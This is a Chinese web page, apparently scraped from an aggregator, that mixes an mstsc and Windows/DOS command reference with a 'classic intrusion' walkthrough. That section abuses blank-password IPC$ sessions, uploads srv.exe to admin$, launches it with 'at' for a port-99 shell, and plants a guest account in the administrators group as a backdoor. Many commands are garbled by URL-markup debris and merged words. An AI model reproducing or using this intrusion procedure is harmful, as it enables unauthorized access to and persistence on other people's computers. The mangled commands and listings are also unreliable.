如何使用MSTSC命令__福建阿昆 mstsc命令

在xp sp2中用mstsc/console命令可以登录到远程桌面的控制台(和在电脑前以同一用户登录),xp升级到sp3后,不能这样用了。sp3中命令应该换成mstsc/admin。
xp sp3中mstsc的参数如下:
MSTSC [] [/v:] [/admin] [/f[ullscreen]] [/w: /h:] [/public] |[/span] [/edit "connection file"] [/migrate]
"connection file" -- 指定连接的 .rdp 文件的名称。
/v: -- 指定要连接的远程计算机。
/admin -- 将您连接到会话以管理服务器。
/f -- 以全屏模式启动远程桌面。
/w: -- 指定远程桌面窗口的宽度。
/h: -- 指定远程桌面窗口的高度。
/public -- 在公用模式下运行远程桌面。
/span --使远程桌面的宽度和高度与本地虚拟桌面相匹配,如有必要,扩展到多个显示器。若要扩展到多个显示器,所有显示器都必须具有相同的高度并垂直排列。
/edit -- 打开指定的 .rdp 连接文件进行编辑。
/migrate -- 将使用客户端连接管理器创建的旧连接文件迁移到新的 .rdp 连接文件。
2003 sp2中的mstsc参数用法:MSTSC [] [/v:] [/console] [/f[ullscreen]]
[/w: /h:] | /Edit"ConnectionFile" | /Migrate | /?-- 指定连接的 .rdp文件的名称。
/v: -- 指定要连接到的终端服务器。
/console -- 连接到服务器的控制台会话。
/f -- 以全屏模式启动客户端。
/w: -- 指定远程桌面屏幕的宽度。
/h: -- 指定远程桌面屏幕的高度。
/edit -- 打开指定的 .rdp 文件来编辑。
/migrate -- 将客户端连接管理器创建的旧版连接文件迁移到新的 .rdp 连接文件。
/? -- 显示此用法消息。
DOS远程桌面连接命令 mstsc /v: 192.168.1.250 /console
cmd运行command
删除文件rd文件名/S
创建文件MD文件名
1.n————et user admin godmour /add 新建一个用户名为 admin 密码为 godmour默认为user组成员
2.net user admin /del 将用户名为admin的用户删除
3.net user admin/active:no将用户admin禁用
4.net user admin /active:yes 将用户admin激活
5.net user admin 查看拥护admin用户的情况
6.net localgroup administratros admin /add 提升用户权限
7.netview[url=file://ip/]\IP[/url]查看远程主机共享资源
8.netusex:\IPsharename 远程影射本地盘符 Z (建立连接 net use[url=file://ip/IPC$"password]\IPIPC$"password[/url]"/user:"name")
9.net user admingodmour把admin的密码修改成 godmour
10. netstartservername启动telnet服务
netstartservername停止telnet服务
运行 输入cmd 回车在命令提示符下输入
for %1 in (%windir%system32*.dll) do regsvr32.exe /s %1
还原系统
tracert61.144.56.101查看路由是否正常工作
netstat命令
netstat [-r] [-s] [-n] [-a]。
当然,你也可以利用“netstat /?”命令来查看一下该命令的使用格式以及详细的参数说明
netstat参数含义如下
-r 显示本机路由表的内容
-s显示每个协议的使用状态(包括TCP协议、UDP协议、IP协议)
-n 以数字表格形式显示地址和端口
-a 显示所有主机的端口号
运行Netstat -a命令将显示计算机上网时与外部之间的所有连接,计算机端口与外部的连接情况等;而Netstat
-s命令则显示电脑网络连接协议的统计信息。这样你就可以看到当前你的电脑上网络在进行哪些连接,数据包发
送和接收的详细情况等等添加或删除程序 control appwiz.cpl
管理工具control admintools
attrib设置文件属性ctty改变控制设备defrag磁盘碎片整理doskey 调用和建立DOS宏命令
debug程序调试命令emm386扩展内存管理fc文件比较fdisk 硬盘分区
lh/loadhigh将程序装入高端内存move移动文件,改目录名more分屏显示
prompt设置提示符set设置环境变量smartdrv 设置磁盘加速器
setver设置版本subst路径替换vol显示指定的磁盘卷标号
xcopy拷贝目录和文件mstscXP自带远程secpol.msc/s本地安全策略
services.msc/s服务compmgmt.msc计算机管理jsjgl.msc
eventvwr.msc/s事件查看器odbcad32.exe数据源(ODBC)perfmon.msc/s性能
comexp.msc组件服务controluserpasswords2察看当前XP用户
gpedit.msc组策略regedit注册表dxdiagDirecTX 诊断工具
gpedit.msc-----组策略winver---------检查Windows版本wmimgmt.msc----打开windows管理体系结构(WMI)
wupdmgr--------windows更新程序wscript--------windows脚本宿主设置write----------写字板
winmsd---------系统信息wiaacmgr-------扫描仪和照相机向导winchat--------XP自带局域网聊天
mem.exe--------显示内存使用情况Msconfig.exe---系统配置实用程序mplayer2-------简易widnows media player
mspaint--------画图板mplayer2-------媒体播放机magnify--------放大镜实用程序
mmc------------打开控制台mobsync--------同步命令drwtsn32------ 系统医生
devmgmt.msc---设备管理器dfrg.msc-------磁盘碎片整理程序diskmgmt.msc---磁盘管理实用程序
dcomcnfg-------打开系统组件服务ddeshare-------打开DDE共享设置dvdplay--------DVD播放器
net stopmessenger---停止信使服务net startmessenger--开始信使服务notepad--------打开记事本
nslookup-------网络管理的工具向导ntbackup-------系统备份和还原narrator-------屏幕“讲述人”
ntmsmgr.msc----移动存储管理器ntmsoprq.msc-移动存储管理员操作请求 netstat -an----(TC)命令检查接口
syncapp--------创建一个公文包sysedit--------系统配置编辑器sigverif-------文件签名验证程序
sndrec32-------录音机shrpubw--------创建共享文件夹secpol.msc-----本地安全策略
syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码
services.msc---本地服务设置Sndvol32-------音量控制程序sfc.exe--------系统文件检查器
sfc/scannow---windows文件保护tsshutdn-------60秒倒计时关机命令tourstart------xp简介(安装完成后出现的漫游xp程序)
taskmgr--------任务管理器eventvwr-------事件查看器eudcedit-------造字程序
explorer-------打开资源管理器packager-------对象包装程序perfmon.msc----计算机性能监测程序
progman--------程序管理器regedit.exe----注册表rsop.msc-------组策略结果集
regedt32-------注册表编辑器rononce -p----15秒关机regsvr32 /u *.dll----停止dll文件运行
regsvr32 /uzipfldr.dll------取消ZIP支持cmd.exe--------CMD命令提示符
chkdsk.exe-----Chkdsk磁盘检查certmgr.msc----证书管理实用程序calc-----------启动计算器
charmap--------启动字符映射表cliconfg-------SQL SERVER客户端网络实用程序Clipbrd--------剪贴板查看器
conf-----------启动netmeetingcompmgmt.msc---计算机管理cleanmgr-------垃圾整理
ciadv.msc------索引服务程序osk------------打开屏幕键盘odbcad32-------ODBC数据源管理器
oobe/msoobe/a----检查XP是否激活lusrmgr.msc----本机用户和组logoff---------注销命令
iexpress-------木马捆绑工具,系统自带Nslookup-------IP地址侦测器fsmgmt.msc-----共享文件夹管理器
utilman--------辅助工具管理器gpedit.msc-----组策略cleanmgr-------垃圾整理
ciadv.msc------索引服务程序odbcad32-------ODBC数据源管理器oobe/msoobe /a----检查XP是否激活
lusrmgr.msc----本机用户和组logoff---------注销命令iexpress-------木马捆绑工具,系统自带
Nslookup-------IP地址侦测器fsmgmt.msc-----共享文件夹管理器utilman--------辅助工具管理器
DOS——Disk Operation System 磁盘操作系
C:盘符Path路径Filename文件名.ext扩展名Filespec 文件标识符
[]方括号中的项目是可选项,用户可以根根据需要不输入这些内容
{}大括号表示其中的项目必选一项
|竖线表示两侧的内容可取其一
…表示可重复项
*表示一个字符串
?只代表一个字符
查找以字母y开头的所有文件,可以输入以下命令:dir y*.*;如果要查找所有扩展名为exe的文件,可以用dir.exe。?只
代表一个字符,例如我要查找第二个字母为s的所有文件,可以输入:DIR ?s*.*。
dir
[格式] dir [C:][path][filename][.ext][/o][/s][/p][/w][/a]
dir是DOS命令中最常用的一个
/p 显示信息满一屏时,暂停显示,按任意键后显示下一屏
/o 排序显示。o后面可以接不同意义的字母
/w 只显示文件名目录名,每行五个文件名。即宽行显示
/s 将目录及子目录的全部目录文件都显示
cd是英文change directory(改变目录)的缩写
[格式] cd[C:][path]逐层退出(cd..)
copy在英文中是复制的意思
复制一个或一组文件到指定的磁盘或目录中copy [C:][path][filename.ext] [C:][path]filename.ext
C:purple目录的所有文件复制到软盘
C:>copy purple A:
ren是英文rename(重新命名)的简写,对指定磁盘、目录中的一个文件或一组文件更改名称
[格式] ren [C:][path]filename1[.ext] filename2[.ext]
[说明] 改名操作只限于某个文件某组文件的名称,它不会更改文件所在的目录。如果使用了通配符,则对一批文件进行更名。
type [功能]在屏幕上显示文本文件内容命令[格式] type [C:][path]filename.ext
type命令用来在屏幕上快速、简便地显示文本文件的内容,扩展名为TXT的文件是文本文件。如果用这个命令显示扩展名为EXE或COM等其它文件,输出的结果往往是一些乱七八糟的符号并伴有无规则的响铃声,有时甚至会出现死机现象。
format磁盘格式化[C:][path]format drive:[/S]
diskcopy,翻译成中文就是磁盘复制 复制出一个和原来磁盘内容一模一样的磁盘
[格式] diskcopy 源驱动器名 目的驱动器名
[说明]它的主要用途就是用来备份。比如我们的电脑在刚买来时,会随机附带一些设备驱动程序磁盘,这些驱动程序在以后都有可能用到,为防止这些磁盘的损坏,一定要将它们都备份一套,这时,使用diskcopy命令是比较快捷和方便的
deltree 删除目录树 [格式] [C:][path]DELTREE [C1:][path1] [[C2:][path2][…]]
[说明] 这个命令将整个指定目录树全部消灭,而不管它是否是只读、隐藏与否。使用应特别小心。它是一个危险命令。
mem是memory的缩写[功能] 该命令用来查看你的计算机内存有多少,以及内存的使用情况 [格式] 直接键入mem命令
chkdsk是check disk的缩写。[功能] 用来检查你的磁盘的使用情况。[格式] chkdsk 磁盘名
[说明] 例如要检查A盘使用情况,就输入chkdsk A: ,检查c盘使用情况,就输入chkdsk C:,如果直接输入chkdsk,就检
查当前磁盘的使用情况。
sys传递系统文件命令。将DOS的两个隐含的系统IO.SYS和MSDOS.SYS传送到目标磁盘的特定位置上,并将COMMAND.COM文件复制过去。完成后,目标盘成为DOS的启动盘[格式][C:][path]SYS [C1:][path] d2:
[说明]由于这几个文件需要复制到特定位置上,所以用COPY命令完成的复制未必能够启动机器。能过SYS命令,DOS可以将目标盘已占据特定位置的文件移动,并将系统文件复制到相应位置上。参数C1:path用来指明系统文件所在目录。如不指明,则缺省为当前盘的当前目录。所以这个
命令一般要在源盘的根目录进行
pass[功能] 设定DOS寻找.COM、.EXE、.BAT文件的所在目录 [格式]path=[[drive:]path[;…]]或path
[说明]只打path没有参数时,只显示环境变量内容。有参数时,重新设置path变量。在没有指定path环境变量时,用户发出的命令,DOS首先判断其是否为内部命令,再查找当前目录中是否有主文件名是该命令的可执行文件,如果均不是,则显示信息“Badcommand or filename”。
如果发出了指定路径的命令,则在指定径中依次查找,仍找不到则出现上述提示。
cls清除显示器屏幕上的内容,使DOS提示符到屏幕左上角。 [格式]
常用的远程连接命令

建立空连接 net use[url=file://ip/ipc$Content$nbsp]\IPipc$Content$nbsp[/url];""/user:""(一定要注意:这一行命令中包含了3个空格)

建立非空连接 net use[url=file://ip/ipc$Content$nbsp]\IPipc$Content$nbsp[/url];"用户名"/user:"密码"(同样有3个空格)

映射默认共享net use z:[url=file://ip/c$Content$nbsp]\IPc$Content$nbsp[/url];"密码"/user:"用户名"(即可将对方的c盘映射为自己的z盘,其他盘类推)

如果已经和目标建立了ipc$,则可以直接用IP+盘符+$访问,具体命令 net use z:[url=file://ip/c$]\IPc$[/url]

删除一个ipc$连接 net use[url=file://ip/ipc$Content$/del]\IPipc$Content$/del[/url]

删除共享映射 net use c: /del

删除映射的c盘,其他盘类推net use * /del

删除全部,会有提示要求按y确认

经典入侵模式

1.C:>net use[url=file://127.0.0.1/IPC$Content$nbsp]\127.0.0.1IPC$Content$nbsp[/url];""/user:"admintitrators"这是用《流光》扫到的用户名是administrators,密码为"空"的IP地址(空口令?哇,运气好到家了),如果是打算攻击的话,就可以用这样的命令来与127.0.0.1建立一个连接,因为密码为"空",所以第一个引号处就不用输入,后面一个双引号里的是用户名,输入administrators,命令即可成功完成。

2. C:>copy srv.exe[url=file://127.0.0.1/admin$Content$nbsp]\127.0.0.1admin$Content$nbsp[/url];先复制srv.exe上去,在流光的Tools目录下就有(这里的$是指admin用户的c:winntsystem32,大家还可以使用c$、d$,意思是C盘与D盘,这看你要复制到什么地方去了)。

3.C:>net time[url=file://127.0.0.1/]\127.0.0.1[/url]查查时间,发现127.0.0.1 的当前时间是 2002/3/19 上午11:00,命令成功完成。

4.C:>at[url=file://127.0.0.1/]\127.0.0.1[/url]11:05srv.exe用at命令启动srv.exe吧(这里设置的时间要比主机时间快,不然你怎么启动啊,呵呵!)

5.C:>net time[url=file://127.0.0.1/]\127.0.0.1[/url]再查查到时间没有?如果127.0.0.1 的当前时间是 2002/3/19 上午11:05,那就准备开始下面的命令。

6.C:>telnet 127.0.0.199这里会用到Telnet命令吧,注意端口是99。Telnet默认的是23端口,但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。

虽然我们可以Telnet上去了,但是SRV是一次性的,下次登录还要再激活!所以我们打算建立一个Telnet服务!这就要用到ntlm了

7.C:>copy ntlm.exe[url=file://127.0.0.1/admin$Content$nbsp]\127.0.0.1admin$Content$nbsp[/url];用Copy命令把ntlm.exe上传到主机上(ntlm.exe也是在《流光》的Tools目录中)。

8.C:WINNTsystem32>ntlm输入ntlm启动(这里的C:WINNTsystem32>指的是对方计算机,运行ntlm其实是让这个程序在对方计算机上运行)。当出现"DONE"的时候,就说明已经启动正常。然后使用"netstart telnet"来开启Telnet服务!

9.Telnet127.0.0.1,接着输入用户名与密码就进入对方了,操作就像在DOS上操作一样简单!(然后你想做什么?想做什么就做什么吧,哈哈)为了以防万一,我们再把guest激活加到管理组

10.C:>net user guest/active:yes将对方的Guest用户激活

11.C:>net user guest1234将Guest的密码改为1234,或者你要设定的密码

12.C:>net localgroup administrators guest/add将Guest变为Administrator^_^(如果管理员密码更改,guest帐号没改变的话,下次我们可以用guest再次访问这台计算机)

ipc$与空连接,139,445端口,默认共享的关系

以上四者的关系可能是菜鸟很困惑的一个问题,不过大部分文章都没有进行特别的说明,其实我理解的也不是很透彻,都是在与大家交流中总结出来的.(一个有良好讨论氛围的BBS可以说是菜鸟的天堂)

ipc$与空连接

不需要用户名与密码的ipc$连接即为空连接,一旦你以某个用户或管理员的身份登陆(即以特定的用户名和密码进行ipc$连接),自然就不能叫做空连接了.

许多人可能要问了,既然可以空连接,那我以后就空连接好了,为什么还要费九牛二虎之力去扫描弱口令,呵呵,原因前面提到过,当你以空连接登陆时,你没有任何权限(很郁闷吧),而你以用户或管理员的身份登陆时,你就会有相应的权限(有权限谁不想呀,所以还是老老实实扫吧,不要偷懒哟).

ipc$与139,445端口

ipc$连接可以实现远程登陆及对默认共享的访问;而139端口的开启表示netbios协议的应用,我们可以通过139,445(win2000)端口实现对共享文件/打印机的访问,因此一般来讲,ipc$连接是需要139或445端口来支持的.

ipc$与默认共享

默认共享是为了方便管理员远程管理而默认开启的共享(你当然可以关闭它),即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$),我们通过ipc$连接可以实现对这些默认共享的访问(前提是对方没有关闭这些默认共享)

ipc$连接失败的原因

以下5个原因是比较常见的:

1)你的系统不是NT或以上操作系统;

2)对方没有打开ipc$默认共享

3)对方未开启139或445端口(惑被防火墙屏蔽)

4)你的命令输入有误(比如缺少了空格等)

5)用户名或密码错误(空连接当然无所谓了)另外,你也可以根据返回的错误号分析原因:

错误号5,拒绝访问 :很可能你使用的用户不是管理员权限的,先提升权限;

错误号51,Windows 无法找到网络路径 :网络有问题;

错误号53,找不到网络路径 :ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);

错误号67,找不到网络名 :你的lanmanworkstation服务未启动;目标删除了ipc$;

错误号1219,提供的凭据与已存在的凭据集冲突 : 你已经和对方建立了一个ipc$,请删除再连。

运行输入 mstsc 打开远程连接对话框 输入需要远程连接的电脑IP或者完全主机名FQDN!
能连上的前提条件:
1.该远程主机开启了远程连接
2.该远程主机 与你本机能ping通(能通信)
3.你有足够的权限连接该主机!(需要验证)
4.连接上之后 你就可以用有权限的账户登录该主机 个本地登录一样!之后就可以操作了。

  

爱华网本文地址 » http://www.413yy.cn/a/25101015/256932.html

更多阅读

邮箱大师 怎么用/如何使用邮箱大师 网易邮箱大师如何退出

[邮箱大师]怎么用/如何使用[邮箱大师]——简介【邮箱大师】是网易新推出的一款移动客户端邮箱软件,在安卓和IOS上均有对应的版本,官方宣称它对邮箱类型的支持比较广泛。现在就让我们一起来体验一下这款软件吧。[邮箱大师]怎么用/如何

qq微信电脑客户端怎么下载?如何使用 qq微信电脑客户端

qq微信电脑客户端怎么下载?如何使用——简介qq微信电脑客户端怎么下载?如何使用,微信电脑客户端怎么注册如何登录,qq微信网页版怎么登录?如何安装;现在使用手机微信客户端聊天已经不能满足小伙伴们的需求了,也想在电脑上能和QQ一样的操作和

如何使用大话3新手卡礼包序列号 大话新手礼包序列号

大话3新手卡礼包序列号如何使用,下面我们来详解一下。首先你得有大话3新手卡礼包序列号,没有的话可以到我空间获取。1.打开大话3,输入帐号密码进入游戏2.选择区,接受条款3.创建角色,进入游戏4.点击无限大礼包如何使用大话3新

手把手教你使用财付通:4 如何使用微支付

手把手教你使用财付通:[4]如何使用微支付——简介财付通微支付专为游戏和移动消费提供,使用起来和Q币一样,无需密码,点击支付,支持全部腾讯游戏手把手教你使用财付通:[4]如何使用微支付——工具/原料财付通账户手把手教你使用财付通:[4]

声明:《如何使用MSTSC命令__福建阿昆 mstsc命令》为网友抹不掉的轻狂分享!如侵犯到您的合法权益请联系我们删除